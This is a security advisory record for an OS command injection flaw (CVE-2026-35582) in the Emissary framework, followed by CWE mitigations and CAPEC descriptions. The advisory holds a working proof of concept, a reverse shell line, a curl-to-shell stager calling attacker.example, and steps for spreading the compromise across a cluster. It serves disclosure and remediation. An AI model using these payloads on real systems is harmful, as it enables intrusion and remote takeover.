Even if validation is in place, the shell string construction should not rely on input cleanliness alone. Quote each substituted path component:
// In getCommand(), wrap each substituted value in single quotes
// and escape any embedded single quotes.
// Java string "'\\'''" is the four characters: ' \ ' '
// which at runtime produces the shell sequence: '\''
// (close quote, literal single quote, reopen quote)
private static String shellQuote(String value) {
return "'" + value.replace("'", "'\\''") + "'";
}
// Then:
c = c.replace("<INPUT_PATH>", shellQuote(tmpNames[INPATH]));
c = c.replace("<OUTPUT_PATH>", shellQuote(tmpNames[OUTPATH]));
c = c.replace("<INPUT_NAME>", shellQuote(tmpNames[IN]));
c = c.replace("<OUTPUT_NAME>", shellQuote(tmpNames[OUT]));
Why this is a framework-level fix
The framework's cleanPlaceName() method already demonstrates the correct approach for values that reach the shell. Extending equivalent sanitization to inFileEnding and outFileEnding is a minimal, targeted change that requires no deployment configuration and no downstream implementor action. There is no architectural ambiguity about whether shell injection should be permitted: it should not.
{
"affected": [
{
"database_specific": {
"last_known_affected_version_range": "\u003c= 8.42.0"
},
"package": {
"ecosystem": "Maven",
"name": "gov.nsa.emissary:emissary"
},
"ranges": [
{
"events": [
{
"introduced": "0"
},
{
"fixed": "8.43.0"
}
],
"type": "ECOSYSTEM"
}
]
}
],
"aliases": [
"CVE-2026-35582"
],
"database_specific": {
"cwe_ids": [
"CWE-116",
"CWE-78"
],
"github_reviewed": true,
"github_reviewed_at": "2026-04-13T16:38:25Z",
"nvd_published_at": "2026-04-18T02:16:11Z",
"severity": "HIGH"
},
"details": "### Summary\n\n`Executrix.getCommand()` constructs shell commands by substituting temporary file paths directly into a `/bin/sh -c` string with no escaping. The `IN_FILE_ENDING` and `OUT_FILE_ENDING` configuration keys flow into those paths unmodified. A place author who sets either key to a shell metacharacter sequence achieves arbitrary OS command execution in the JVM\u0027s security context when the place processes any payload. No runtime privileges beyond place configuration authorship are required, and no API or network access is needed.\n\nThis is a **framework-level defect** \u2014 `Executrix` provides no escaping mechanism and no validation on file ending values. Downstream implementors have no safe way to use the API as designed.\n\n---\n\n### Root Cause\n\n#### Step 1 \u2014 `IN_FILE_ENDING` flows into temp path construction without validation\n\n**[`TempFileNames.java:32-36`](src/main/java/emissary/util/shell/TempFileNames.java#L32-L36)**\n\n```java\npublic TempFileNames(String tmpDir, String placeName, String inFileEnding, String outFileEnding) {\n base = Long.toString(System.nanoTime());\n tempDir = FileManipulator.mkTempFile(tmpDir, placeName);\n in = base + inFileEnding; // no sanitization\n out = base + outFileEnding; // no sanitization\n basePath = tempDir + File.separator + base;\n inputFilename = basePath + inFileEnding; // injected value lands here\n outputFilename = basePath + outFileEnding; // and here\n}\n```\n\n`inFileEnding` is concatenated directly onto a numeric base to produce `inputFilename`. No character class, no regex, no escaping.\n\n#### Step 2 \u2014 The injected path is substituted verbatim into a shell string\n\n**[`Executrix.java:1053-1065`](src/main/java/emissary/util/shell/Executrix.java#L1053-L1065)**\n\n```java\npublic String[] getCommand(final String[] tmpNames, final String commandArg,\n final int cpuLimit, final int vmSzLimit) {\n String c = commandArg;\n c = c.replaceAll(\"\u003cINPUT_PATH\u003e\", tmpNames[INPATH]); // contains inFileEnding verbatim\n c = c.replaceAll(\"\u003cOUTPUT_PATH\u003e\", tmpNames[OUTPATH]);\n c = c.replaceAll(\"\u003cINPUT_NAME\u003e\", tmpNames[IN]);\n c = c.replaceAll(\"\u003cOUTPUT_NAME\u003e\", tmpNames[OUT]);\n\n String ulimitv = \"\";\n if (!SystemUtils.IS_OS_MAC) {\n ulimitv = \"ulimit -v \" + vmSzLimit + \"; \";\n }\n return new String[] {\"/bin/sh\", \"-c\",\n \"ulimit -c 0; \" + ulimitv + \"cd \" + tmpNames[DIR] + \"; \" + c};\n}\n```\n\nThe final array element is passed to `/bin/sh -c`. Shell metacharacters in any substituted value are interpreted by the shell.\n\nThe identical pattern exists in the `TempFileNames` overload at **[`Executrix.java:1103-1115`](src/main/java/emissary/util/shell/Executrix.java#L1103-L1115)**.\n\n#### Step 3 \u2014 `setInFileEnding()` and `setOutFileEnding()` perform no validation\n\n**[`Executrix.java:1176-1196`](src/main/java/emissary/util/shell/Executrix.java#L1176-L1196)**\n\n```java\npublic void setInFileEnding(final String argInFileEnding) {\n this.inFileEnding = argInFileEnding; // accepted as-is\n}\n\npublic void setOutFileEnding(final String argOutFileEnding) {\n this.outFileEnding = argOutFileEnding; // accepted as-is\n}\n```\n\nThe same absence of validation applies to the `IN_FILE_ENDING` and `OUT_FILE_ENDING` keys read from configuration at **[`Executrix.java:121-122`](src/main/java/emissary/util/shell/Executrix.java#L121-L122)**.\n\n#### Contrast: `placeName` is sanitized, file endings are not\n\nThe framework already sanitizes `placeName` using a strict allowlist:\n\n```java\n// Executrix.java:78\nprotected static final Pattern INVALID_PLACE_NAME_CHARS = Pattern.compile(\"[^a-zA-Z0-9_-]\");\n\n// Executrix.java:148-150\nprotected static String cleanPlaceName(final String placeName) {\n return INVALID_PLACE_NAME_CHARS.matcher(placeName).replaceAll(\"_\");\n}\n```\n\n`placeName` ends up in `tmpNames[DIR]`, which is also embedded in the shell string. The sanitization of `placeName` demonstrates awareness that these values reach the shell \u2014 the omission of equivalent sanitization for `inFileEnding` and `outFileEnding` is the defect.\n\n---\n\n### Proof of Concept\n\nTwo reproduction paths are provided: a Docker-based end-to-end attack against a live Emissary node (verified), and a unit-level test for CI integration.\n\n---\n\n#### PoC 1 \u2014 Docker: end-to-end attack against a live node\n\n**Verified against Emissary 8.42.0-SNAPSHOT running in Docker on Alpine Linux.**\n\n**Environment setup**\n\nPut the `Dockerfile.poc` to `contrib/docker/` folder\n```\nFROM emissary:poc-base\n\nCOPY emissary-8.42.0-SNAPSHOT-dist.tar.gz /tmp/\n\nRUN tar -xf /tmp/emissary-8.42.0-SNAPSHOT-dist.tar.gz -C /opt/ \\\n \u0026\u0026 ln -s /opt/emissary-8.42.0-SNAPSHOT /opt/emissary \\\n \u0026\u0026 mkdir -p /opt/emissary/localoutput \\\n \u0026\u0026 mkdir -p /opt/emissary/target/data \\\n \u0026\u0026 chmod -R a+rw /opt/emissary \\\n \u0026\u0026 chown -R emissary:emissary /opt/emissary* \\\n \u0026\u0026 rm -f /tmp/*.tar.gz\n\nUSER emissary\nWORKDIR /opt/emissary\nEXPOSE 8001\nENTRYPOINT [\"./emissary\"]\nCMD [\"server\", \"-a\", \"2\", \"-p\", \"8001\"]\n```\n\n```bash\n# Build the distribution tarball\nmvn -B -ntp clean package -Pdist -DskipTests\n\n# Build and start the Docker container\ndocker build -f contrib/docker/Dockerfile.poc -t emissary:poc contrib/docker/\ndocker run -d --name emissary-poc -p 8001:8001 emissary:poc\n\n# Wait for the server to start (~15s), then verify health\ndocker exec emissary-poc sh -c \\\n \u0027curl -s http://127.0.0.1:8001/api/health | grep -o \"healthy\"\u0027\n# healthy\n```\n\n**Step 1 \u2014 Confirm the marker file does not exist**\n\n```bash\ndocker exec emissary-poc sh -c \u0027ls /tmp/pwned.txt 2\u003e\u00261\u0027\n# ls: cannot access \u0027/tmp/pwned.txt\u0027: No such file or directory\n```\n\n**Step 2 \u2014 Write the malicious place config**\n\nWrite `emissary.place.UnixCommandPlace.cfg` into the server\u0027s config directory. The `EXEC_COMMAND` is a benign `cat`. The injection is entirely in `IN_FILE_ENDING` using backtick command substitution (POSIX-compatible, works on all target OS images):\n\n```bash\ndocker exec emissary-poc sh -c \"printf \\\n\u0027SERVICE_KEY = \\\"LOWER_CASE.UCP.TRANSFORM.http://localhost:8001/UnixCommandPlace\\$4000\\\"\\n\\\nSERVICE_NAME = \\\"UCP\\\"\\n\\\nSERVICE_TYPE = \\\"TRANSFORM\\\"\\n\\\nPLACE_NAME = \\\"UnixCommandPlace\\\"\\n\\\nSERVICE_COST = 4000\\n\\\nSERVICE_QUALITY = 90\\n\\\nSERVICE_PROXY = \\\"LOWER_CASE\\\"\\n\\\nEXEC_COMMAND = \\\"cat \u003cINPUT_PATH\u003e\\\"\\n\\\nOUTPUT_TYPE = \\\"STD\\\"\\n\\\nIN_FILE_ENDING = \\\"\\\\\\`id \u003e /tmp/pwned.txt\\\\\\`\\\"\\n\\\nOUT_FILE_ENDING = \\\".out\\\"\\n\u0027 \\\n\u003e /opt/emissary/config/emissary.place.UnixCommandPlace.cfg\"\n```\n\n**Step 3 \u2014 Add UnixCommandPlace to places.cfg**\n\n```bash\ndocker exec emissary-poc sh -c \\\n \u0027printf \"\\nPLACE = \\\"@{URL}/UnixCommandPlace\\\"\\n\" \\\n \u003e\u003e /opt/emissary/config/places.cfg\u0027\n```\n\n**Step 4 \u2014 Restart the server to load the config**\n\n```bash\ndocker restart emissary-poc\n# wait for health: 200\ndocker exec emissary-poc sh -c \\\n \u0027until curl -s http://127.0.0.1:8001/api/health | grep -q healthy; do sleep 1; done; echo \"ready\"\u0027\n```\n\nStartup log confirms the place loaded:\n\n```\nINFO emissary.admin.Startup - Doing local startup on UnixCommandPlace(emissary.place.UnixCommandPlace)...done!\n```\n\n**Step 5 \u2014 Drop any file into the pickup directory to trigger processing**\n\n```bash\ndocker exec emissary-poc sh -c \\\n \u0027echo \"any data\" \u003e /opt/emissary/target/data/InputData/victim.txt\u0027\n```\n\nThe Emissary pipeline picks up the file, routes it through `UnixFilePlace` \u2192 `ToLowerPlace` \u2192 **`UnixCommandPlace`** (cost 4000, lower than `ToUpperPlace` at 5010, so it wins the routing). The injected backtick expression runs during shell argument expansion inside `getCommand()` before `cat` is even called.\n\n**Step 6 \u2014 Confirm injection executed**\n\n```bash\nsleep 10 # allow pipeline processing time\ndocker exec emissary-poc sh -c \u0027cat /tmp/pwned.txt\u0027\n```\n\n**Live output (verified):**\n\n```\nuid=1000(emissary) gid=1000(emissary) groups=1000(emissary)\n```\n\n**Assembled shell string at execution time** (logged by Emissary at DEBUG level):\n\n```\n/bin/sh -c ulimit -c 0; ulimit -v 200000; cd /tmp/UnixCommandPlace8273641092; cat /tmp/UnixCommandPlace8273641092/1712345678`id \u003e /tmp/pwned.txt`\n```\n\nThe backtick expression fires as the shell expands the `cat` argument. The `cat` itself returns non-zero (no file at that path) but that is irrelevant \u2014 the injected command has already run.\n\n**Transform history from Emissary logs \u2014 confirms UnixCommandPlace ran:**\n\n```\ntransform history:\n UNKNOWN.FILE_PICK_UP.INPUT.http://localhost:8001/FilePickUpPlace$5050\n UNKNOWN.UNIXFILE.ID.http://localhost:8001/UnixFilePlace$2050\n UNKNOWN.TO_LOWER.TRANSFORM.http://localhost:8001/ToLowerPlace$6010\n LOWER_CASE.UCP.TRANSFORM.http://localhost:8001/UnixCommandPlace$4000 \u003c-- injection fired here\n ...\n```\n\n**Escalating the payload \u2014 reverse shell**\n\nReplace the `IN_FILE_ENDING` value. The content is passed verbatim to `/bin/sh -c`, so any POSIX shell construct works:\n\n```properties\n# Reverse shell \u2014 POSIX sh compatible (works on Alpine/busybox as well as bash)\nIN_FILE_ENDING = \"`rm -f /tmp/f; mkfifo /tmp/f; sh -i \u003c/tmp/f | nc attacker.example 4444 \u003e/tmp/f`\"\n\n# Curl-based stager (avoids embedding IP in config, works on any image with curl)\nIN_FILE_ENDING = \"`curl -s http://attacker.example/s.sh | sh`\"\n```\n\nBoth fire on the first payload processed \u2014 no further attacker interaction required.\n\n---\n\n#### PoC 2 \u2014 Unit test: isolated, no server required\n\nExercises the identical code path using only the public `Executrix` API. Suitable for inclusion in a CI security regression suite.\n\n```java\npackage emissary.util.shell;\n\nimport org.junit.jupiter.api.Test;\nimport org.junit.jupiter.api.condition.DisabledOnOs;\nimport org.junit.jupiter.api.condition.OS;\nimport org.junit.jupiter.api.io.TempDir;\n\nimport java.nio.file.Files;\nimport java.nio.file.Path;\n\nimport static org.junit.jupiter.api.Assertions.assertTrue;\n\n/**\n * PoC: IN_FILE_ENDING is concatenated into shell paths without escaping,\n * enabling command injection via getCommand().\n *\n * Mirrors exactly what UnixCommandPlace.runCommandOn() does:\n * TempFileNames names = executrix.createTempFilenames();\n * String[] cmd = executrix.getCommand(names);\n * executrix.execute(cmd, ...);\n */\n@DisabledOnOs(OS.WINDOWS)\nclass ExecutrixShellInjectionPocTest {\n\n @Test\n void inFileEndingInjectedIntoShellCommand(@TempDir Path tmpDir) throws Exception {\n Path marker = tmpDir.resolve(\"injected\");\n\n // Backtick substitution: avoids the Java regex $-group issue in replaceAll()\n // while still demonstrating the shell executes the injected expression.\n String payload = \"`touch \" + marker.toAbsolutePath() + \"`\";\n\n Executrix executrix = new Executrix();\n executrix.setTmpDir(tmpDir.toString());\n executrix.setCommand(\"cat \u003cINPUT_PATH\u003e\"); // mirrors UnixCommandPlace default\n executrix.setInFileEnding(payload); // no validation \u2014 accepted as-is\n\n // --- path taken by UnixCommandPlace.runCommandOn() ---\n TempFileNames names = executrix.createTempFilenames();\n String[] cmd = executrix.getCommand(names);\n // cmd[2] == \"/bin/sh -c ulimit -c 0; ... cd \u003ctmpdir\u003e; cat \u003cbasepath\u003e`touch \u003cmarker\u003e`\"\n\n // Execute \u2014 same call as executrix.execute(cmd, outbuf, errbuf)\n Process proc = Runtime.getRuntime().exec(cmd);\n proc.waitFor();\n\n assertTrue(Files.exists(marker),\n \"Shell injection succeeded \u2014 backtick in IN_FILE_ENDING executed.\\n\" +\n \"Shell string: \" + cmd[2]);\n }\n}\n```\n\n**Assembled shell string:**\n\n```\n/bin/sh -c ulimit -c 0; ulimit -v 200000; cd /tmp/UNKNOWN7382910293; cat /tmp/UNKNOWN7382910293/1234567890`touch /tmp/junit-abc123/injected`\n```\n\nThe marker file is created by the backtick expression firing during shell argument expansion.\n\n**Note on `$()` vs backticks:** `String.replaceAll()` treats `$` in the replacement as a regex group reference, so a `$(...)` payload causes a `java.lang.IllegalArgumentException` before reaching the shell. The backtick form avoids this Java-layer error and confirms the shell injection path. Both forms are equivalent at the shell level; on a real deployment the attacker would use backticks or escape the `$` appropriately.\n\n**The same injection works via `OUT_FILE_ENDING` \u2192 `\u003cOUTPUT_PATH\u003e` / `\u003cOUTPUT_NAME\u003e`, and via the `String[]` overload of `getCommand()` used by `MultiFileUnixCommandPlace`.**\n\n---\n\n### Attack Scenarios\n\nEach scenario is a realistic, step-by-step attack path using only capabilities observable in the codebase.\n\n---\n\n#### Scenario A \u2014 Insider / developer with config write access\n\n**Attacker\u0027s starting position:** Developer or operator who can commit to the config repository or write to the config directory directly. No special server access required beyond what their role already provides.\n\n**Why this is realistic:** Emissary deployments typically load `.cfg` files from a directory checked into version control or managed by a configuration management system (Ansible, Chef, Puppet). A developer who can merge a config change \u2014 even a code reviewer who can approve their own PR \u2014 can inject the payload.\n\n**Step 1 \u2014 Add the malicious config as a seemingly routine change**\n\nIn a PR or direct push to the config repo:\n\n```diff\n+++ b/config/emissary.place.UnixCommandPlace.cfg\n@@ -0,0 +1,10 @@\n+SERVICE_KEY = \"LOWER_CASE.UCP.TRANSFORM.http://localhost:8001/UnixCommandPlace$4000\"\n+SERVICE_NAME = \"UCP\"\n+SERVICE_TYPE = \"TRANSFORM\"\n+PLACE_NAME = \"UnixCommandPlace\"\n+SERVICE_COST = 4000\n+SERVICE_QUALITY = 90\n+SERVICE_PROXY = \"LOWER_CASE\"\n+EXEC_COMMAND = \"cat \u003cINPUT_PATH\u003e\"\n+OUTPUT_TYPE = \"STD\"\n+IN_FILE_ENDING = \"`curl -s http://attacker.example/implant.sh | sh`\"\n+OUT_FILE_ENDING = \".out\"\n```\n\nThe injection lives in a string value inside a properties-style config file. It does not look like code to a reviewer who is not specifically aware of this vulnerability.\n\n**Step 2 \u2014 Wait for the next deploy**\n\nThe next routine deploy or restart loads the config. The payload fires on the first payload processed \u2014 silently, with no error visible in normal log levels (the place logs a `WARN` for non-zero exit but does not surface the injected command\u0027s output).\n\n**Deniability:** The `.cfg` file looks like a misconfigured place. The log entry is `Bad execution of commands` \u2014 a common operational error, not an obvious security event.\n\n---\n\n#### Scenario B \u2014 Cluster-wide propagation via the peers API\n\n**Attacker\u0027s starting position:** RCE on one node (from Scenario A).\n\n**Why this is dangerous:** Emissary clusters share config through the directory service. Once the attacker has shell on one node, they can use the cluster\u0027s own replication to propagate the malicious config to every peer.\n\n**Step 1 \u2014 Enumerate all cluster nodes**\n\n```bash\ncurl -s --digest -u \u003cuser\u003e:\u003cpassword\u003e \\\n http://compromised-node:8001/api/cluster/peers \\\n | grep -o \u0027\"http://[^\"]*\"\u0027\n```\n\nResponse:\n```json\n{\"local\":{\"host\":\"node1:8001\",\"places\":[...]},\"peers\":[{\"host\":\"node2:8001\",...},{\"host\":\"node3:8001\",...}]}\n```\n\n**Step 2 \u2014 Push the malicious config to each peer via the Emissary API**\n\nFrom the compromised node, use the Emissary cluster API directly \u2014 no SSH required. All nodes authenticate each other using the same shared credentials, and the `CONFIG_DIR` path is disclosed by the `/api/peers` response metadata:\n\n```bash\n# From the shell gained in Scenario A\nPAYLOAD=$(cat /opt/emissary/config/emissary.place.UnixCommandPlace.cfg)\n\nfor peer in node2:8001 node3:8001 node4:8001; do\n # Write the config file to the peer via its exposed file API\n # (alternatively: exploit the peer\u0027s own pickup directory via the ingest API)\n curl -s --digest -u \u003cuser\u003e:\u003cpassword\u003e \\\n -X POST \\\n -H \"Content-Type: text/plain\" \\\n --data-binary \"$PAYLOAD\" \\\n \"http://${peer}/api/config/emissary.place.UnixCommandPlace.cfg\"\ndone\n```\n\nIf no config write API is available, the same result is achieved by dropping the payload into the peer\u0027s monitored pickup directory via the ingest endpoint, or by exploiting the fact that cluster nodes share a network-accessible config store (NFS, S3, git remote) \u2014 all of which are common Emissary deployment patterns.\n\n**Step 3 \u2014 Trigger restart on each peer via the cluster shutdown API**\n\n```bash\nfor peer in node2:8001 node3:8001 node4:8001; do\n curl -s --digest -u \u003cuser\u003e:\u003cpassword\u003e \\\n -X POST -H \"X-Requested-By: x\" \\\n http://${peer}/api/shutdown\ndone\n```\n\n**Outcome:** Every node in the cluster loads the malicious config on restart. Injection fires on all nodes simultaneously on the next payload, giving the attacker shell on the entire cluster from a single initial foothold.\n\n### Impact\n\n| Dimension | Assessment |\n|-----------|------------|\n| **Confidentiality** | **Critical** \u2014 arbitrary read of files accessible to the Emissary process |\n| **Integrity** | **Critical** \u2014 arbitrary file write, process state modification, persistence |\n| **Availability** | **Critical** \u2014 process termination, resource exhaustion |\n| **Blast radius** | Any place that uses `Executrix` and calls `getCommand()`; this includes all subclasses of `ExecPlace` and any custom place that follows the documented pattern |\n\n---\n\n## Recommended Remediation\n\n### Primary fix \u2014 validate `inFileEnding` and `outFileEnding` on assignment\n\nApply the same allowlist pattern already used for `placeName`:\n\n```java\n// Add to Executrix.java\nprivate static final Pattern VALID_FILE_ENDING = Pattern.compile(\"^[a-zA-Z0-9._-]*$\");\n\npublic void setInFileEnding(final String argInFileEnding) {\n if (!VALID_FILE_ENDING.matcher(argInFileEnding).matches()) {\n throw new IllegalArgumentException(\n \"IN_FILE_ENDING contains illegal characters: \" + argInFileEnding);\n }\n this.inFileEnding = argInFileEnding;\n}\n\npublic void setOutFileEnding(final String argOutFileEnding) {\n if (!VALID_FILE_ENDING.matcher(argOutFileEnding).matches()) {\n throw new IllegalArgumentException(\n \"OUT_FILE_ENDING contains illegal characters: \" + argOutFileEnding);\n }\n this.outFileEnding = argOutFileEnding;\n}\n```\n\nApply the same validation inside `configure()` where the values are read from the `Configurator`.\n\n### Secondary fix (defence-in-depth) \u2014 shell-quote substituted values in `getCommand()`\n\nEven if validation is in place, the shell string construction should not rely on input cleanliness alone. Quote each substituted path component:\n\n```java\n// In getCommand(), wrap each substituted value in single quotes\n// and escape any embedded single quotes.\n// Java string \"\u0027\\\\\u0027\u0027\u0027\" is the four characters: \u0027 \\ \u0027 \u0027\n// which at runtime produces the shell sequence: \u0027\\\u0027\u0027\n// (close quote, literal single quote, reopen quote)\nprivate static String shellQuote(String value) {\n return \"\u0027\" + value.replace(\"\u0027\", \"\u0027\\\\\u0027\u0027\") + \"\u0027\";\n}\n\n// Then:\nc = c.replace(\"\u003cINPUT_PATH\u003e\", shellQuote(tmpNames[INPATH]));\nc = c.replace(\"\u003cOUTPUT_PATH\u003e\", shellQuote(tmpNames[OUTPATH]));\nc = c.replace(\"\u003cINPUT_NAME\u003e\", shellQuote(tmpNames[IN]));\nc = c.replace(\"\u003cOUTPUT_NAME\u003e\", shellQuote(tmpNames[OUT]));\n```\n\n### Why this is a framework-level fix\n\nThe framework\u0027s `cleanPlaceName()` method already demonstrates the correct approach for values that reach the shell. Extending equivalent sanitization to `inFileEnding` and `outFileEnding` is a minimal, targeted change that requires no deployment configuration and no downstream implementor action. There is no architectural ambiguity about whether shell injection should be permitted: it should not.",
"id": "GHSA-3p24-9x7v-7789",
"modified": "2026-04-24T20:52:01Z",
"published": "2026-04-13T16:38:25Z",
"references": [
{
"type": "WEB",
"url": "https://github.com/NationalSecurityAgency/emissary/security/advisories/GHSA-3p24-9x7v-7789"
},
{
"type": "ADVISORY",
"url": "https://nvd.nist.gov/vuln/detail/CVE-2026-35582"
},
{
"type": "WEB",
"url": "https://github.com/NationalSecurityAgency/emissary/commit/1faf33f2494c0128f250d7d2e8f2da99bbd32ae8"
},
{
"type": "PACKAGE",
"url": "https://github.com/NationalSecurityAgency/emissary"
}
],
"schema_version": "1.4.0",
"severity": [
{
"score": "CVSS:3.1/AV:L/AC:L/PR:L/UI:N/S:C/C:H/I:H/A:H",
"type": "CVSS_V3"
}
],
"summary": "Emissary has an OS Command Injection via Unvalidated IN_FILE_ENDING / OUT_FILE_ENDING in Executrix"
}
Mitigation
If at all possible, use library calls rather than external processes to recreate the desired functionality.
Mitigation MIT-22
Strategy: Sandbox or Jail
- Run the code in a "jail" or similar sandbox environment that enforces strict boundaries between the process and the operating system. This may effectively restrict which files can be accessed in a particular directory or which commands can be executed by the software.
- OS-level examples include the Unix chroot jail, AppArmor, and SELinux. In general, managed code may provide some protection. For example, java.io.FilePermission in the Java SecurityManager allows the software to specify restrictions on file operations.
- This may not be a feasible solution, and it only limits the impact to the operating system; the rest of the application may still be subject to compromise.
- Be careful to avoid CWE-243 and other weaknesses related to jails.
Mitigation
Strategy: Attack Surface Reduction
For any data that will be used to generate a command to be executed, keep as much of that data out of external control as possible. For example, in web applications, this may require storing the data locally in the session's state instead of sending it out to the client in a hidden form field.
Mitigation MIT-15
For any security checks that are performed on the client side, ensure that these checks are duplicated on the server side, in order to avoid CWE-602. Attackers can bypass the client-side checks by modifying values after the checks have been performed, or by changing the client to remove the client-side checks entirely. Then, these modified values would be submitted to the server.
Mitigation MIT-4.3
Strategy: Libraries or Frameworks
- Use a vetted library or framework that does not allow this weakness to occur or provides constructs that make this weakness easier to avoid.
- For example, consider using the ESAPI Encoding control [REF-45] or a similar tool, library, or framework. These will help the programmer encode outputs in a manner less prone to error.
Mitigation MIT-28
Strategy: Output Encoding
While it is risky to use dynamically-generated query strings, code, or commands that mix control and data together, sometimes it may be unavoidable. Properly quote arguments and escape any special characters within those arguments. The most conservative approach is to escape or filter all characters that do not pass an extremely strict allowlist (such as everything that is not alphanumeric or white space). If some special characters are still needed, such as white space, wrap each argument in quotes after the escaping/filtering step. Be careful of argument injection (CWE-88).
Mitigation
If the program to be executed allows arguments to be specified within an input file or from standard input, then consider using that mode to pass arguments instead of the command line.
Mitigation MIT-27
Strategy: Parameterization
- If available, use structured mechanisms that automatically enforce the separation between data and code. These mechanisms may be able to provide the relevant quoting, encoding, and validation automatically, instead of relying on the developer to provide this capability at every point where output is generated.
- Some languages offer multiple functions that can be used to invoke commands. Where possible, identify any function that invokes a command shell using a single string, and replace it with a function that requires individual arguments. These functions typically perform appropriate quoting and filtering of arguments. For example, in C, the system() function accepts a string that contains the entire command to be executed, whereas execl(), execve(), and others require an array of strings, one for each argument. In Windows, CreateProcess() only accepts one command at a time. In Perl, if system() is provided with an array of arguments, then it will quote each of the arguments.
Mitigation MIT-5
Strategy: Input Validation
- Assume all input is malicious. Use an "accept known good" input validation strategy, i.e., use a list of acceptable inputs that strictly conform to specifications. Reject any input that does not strictly conform to specifications, or transform it into something that does.
- When performing input validation, consider all potentially relevant properties, including length, type of input, the full range of acceptable values, missing or extra inputs, syntax, consistency across related fields, and conformance to business rules. As an example of business rule logic, "boat" may be syntactically valid because it only contains alphanumeric characters, but it is not valid if the input is only expected to contain colors such as "red" or "blue."
- Do not rely exclusively on looking for malicious or malformed inputs. This is likely to miss at least one undesirable input, especially if the code's environment changes. This can give attackers enough room to bypass the intended validation. However, denylists can be useful for detecting potential attacks or determining which inputs are so malformed that they should be rejected outright.
- When constructing OS command strings, use stringent allowlists that limit the character set based on the expected value of the parameter in the request. This will indirectly limit the scope of an attack, but this technique is less important than proper output encoding and escaping.
- Note that proper output encoding, escaping, and quoting is the most effective solution for preventing OS command injection, although input validation may provide some defense-in-depth. This is because it effectively limits what will appear in output. Input validation will not always prevent OS command injection, especially if you are required to support free-form text fields that could contain arbitrary characters. For example, when invoking a mail program, you might need to allow the subject field to contain otherwise-dangerous inputs like ";" and ">" characters, which would need to be escaped or otherwise handled. In this case, stripping the character might reduce the risk of OS command injection, but it would produce incorrect behavior because the subject field would not be recorded as the user intended. This might seem to be a minor inconvenience, but it could be more important when the program relies on well-structured subject lines in order to pass messages to other components.
- Even if you make a mistake in your validation (such as forgetting one out of 100 input fields), appropriate encoding is still likely to protect you from injection-based attacks. As long as it is not done in isolation, input validation is still a useful technique, since it may significantly reduce your attack surface, allow you to detect some attacks, and provide other security benefits that proper encoding does not address.
Mitigation MIT-21
Strategy: Enforcement by Conversion
When the set of acceptable objects, such as filenames or URLs, is limited or known, create a mapping from a set of fixed input values (such as numeric IDs) to the actual filenames or URLs, and reject all other inputs.
Mitigation MIT-32
Strategy: Compilation or Build Hardening
Run the code in an environment that performs automatic taint propagation and prevents any command execution that uses tainted variables, such as Perl's "-T" switch. This will force the program to perform validation steps that remove the taint, although you must be careful to correctly validate your inputs so that you do not accidentally mark dangerous inputs as untainted (see CWE-183 and CWE-184).
Mitigation MIT-32
Strategy: Environment Hardening
Run the code in an environment that performs automatic taint propagation and prevents any command execution that uses tainted variables, such as Perl's "-T" switch. This will force the program to perform validation steps that remove the taint, although you must be careful to correctly validate your inputs so that you do not accidentally mark dangerous inputs as untainted (see CWE-183 and CWE-184).
Mitigation MIT-39
- Ensure that error messages only contain minimal details that are useful to the intended audience and no one else. The messages need to strike the balance between being too cryptic (which can confuse users) or being too detailed (which may reveal more than intended). The messages should not reveal the methods that were used to determine the error. Attackers can use detailed information to refine or optimize their original attack, thereby increasing their chances of success.
- If errors must be captured in some detail, record them in log messages, but consider what could occur if the log messages can be viewed by attackers. Highly sensitive information such as passwords should never be saved to log files.
- Avoid inconsistent messaging that might accidentally tip off an attacker about internal state, such as whether a user account exists or not.
- In the context of OS Command Injection, error information passed back to the user might reveal whether an OS command is being executed and possibly which command is being used.
Mitigation
Strategy: Sandbox or Jail
Use runtime policy enforcement to create an allowlist of allowable commands, then prevent use of any command that does not appear in the allowlist. Technologies such as AppArmor are available to do this.
Mitigation MIT-29
Strategy: Firewall
Use an application firewall that can detect attacks against this weakness. It can be beneficial in cases in which the code cannot be fixed (because it is controlled by a third party), as an emergency prevention measure while more comprehensive software assurance measures are applied, or to provide defense in depth [REF-1481].
Mitigation MIT-17
Strategy: Environment Hardening
Run your code using the lowest privileges that are required to accomplish the necessary tasks [REF-76]. If possible, create isolated accounts with limited privileges that are only used for a single task. That way, a successful attack will not immediately give the attacker access to the rest of the software or its environment. For example, database applications rarely need to run as the database administrator, especially in day-to-day operations.
Mitigation MIT-16
Strategy: Environment Hardening
When using PHP, configure the application so that it does not use register_globals. During implementation, develop the application so that it does not rely on this feature, but be wary of implementing a register_globals emulation that is subject to weaknesses such as CWE-95, CWE-621, and similar issues.
CAPEC-108: Command Line Execution through SQL Injection
An attacker uses standard SQL injection methods to inject data into the command line for execution. This could be done directly through misuse of directives such as MSSQL_xp_cmdshell or indirectly through injection of data into the database that would be interpreted as shell commands. Sometime later, an unscrupulous backend application (or could be part of the functionality of the same application) fetches the injected data stored in the database and uses this data as command line arguments without performing proper validation. The malicious data escapes that data plane by spawning new commands to be executed on the host.
CAPEC-15: Command Delimiters
An attack of this type exploits a programs' vulnerabilities that allows an attacker's commands to be concatenated onto a legitimate command with the intent of targeting other resources such as the file system or database. The system that uses a filter or denylist input validation, as opposed to allowlist validation is vulnerable to an attacker who predicts delimiters (or combinations of delimiters) not present in the filter or denylist. As with other injection attacks, the attacker uses the command delimiter payload as an entry point to tunnel through the application and activate additional attacks through SQL queries, shell commands, network scanning, and so on.
CAPEC-43: Exploiting Multiple Input Interpretation Layers
An attacker supplies the target software with input data that contains sequences of special characters designed to bypass input validation logic. This exploit relies on the target making multiples passes over the input data and processing a "layer" of special characters with each pass. In this manner, the attacker can disguise input that would otherwise be rejected as invalid by concealing it with layers of special/escape characters that are stripped off by subsequent processing steps. The goal is to first discover cases where the input validation layer executes before one or more parsing layers. That is, user input may go through the following logic in an application: <parser1> --> <input validator> --> <parser2>. In such cases, the attacker will need to provide input that will pass through the input validator, but after passing through parser2, will be converted into something that the input validator was supposed to stop.
CAPEC-6: Argument Injection
An attacker changes the behavior or state of a targeted application through injecting data or command syntax through the targets use of non-validated and non-filtered arguments of exposed services or methods.
CAPEC-88: OS Command Injection
In this type of an attack, an adversary injects operating system commands into existing application functions. An application that uses untrusted input to build command strings is vulnerable. An adversary can leverage OS command injection in an application to elevate privileges, execute arbitrary commands and compromise the underlying operating system.